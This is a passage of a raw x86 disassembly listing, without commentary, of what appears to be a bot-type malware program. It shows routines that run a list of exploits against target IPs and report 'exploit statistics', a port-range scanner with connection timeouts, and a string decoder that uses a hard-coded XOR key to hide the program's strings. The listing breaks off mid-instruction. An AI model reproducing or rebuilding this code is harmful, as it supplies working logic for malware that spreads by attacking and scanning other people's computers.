; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CEA4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41CF50 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CF20 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CEDC lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte_41CCD0[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CCD0 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; _mbscat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CCFA[eax] push offset dword_41CFA4 lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D050 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D018 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFE8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D080 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D0F0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D0DC lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D0A0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D138 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short 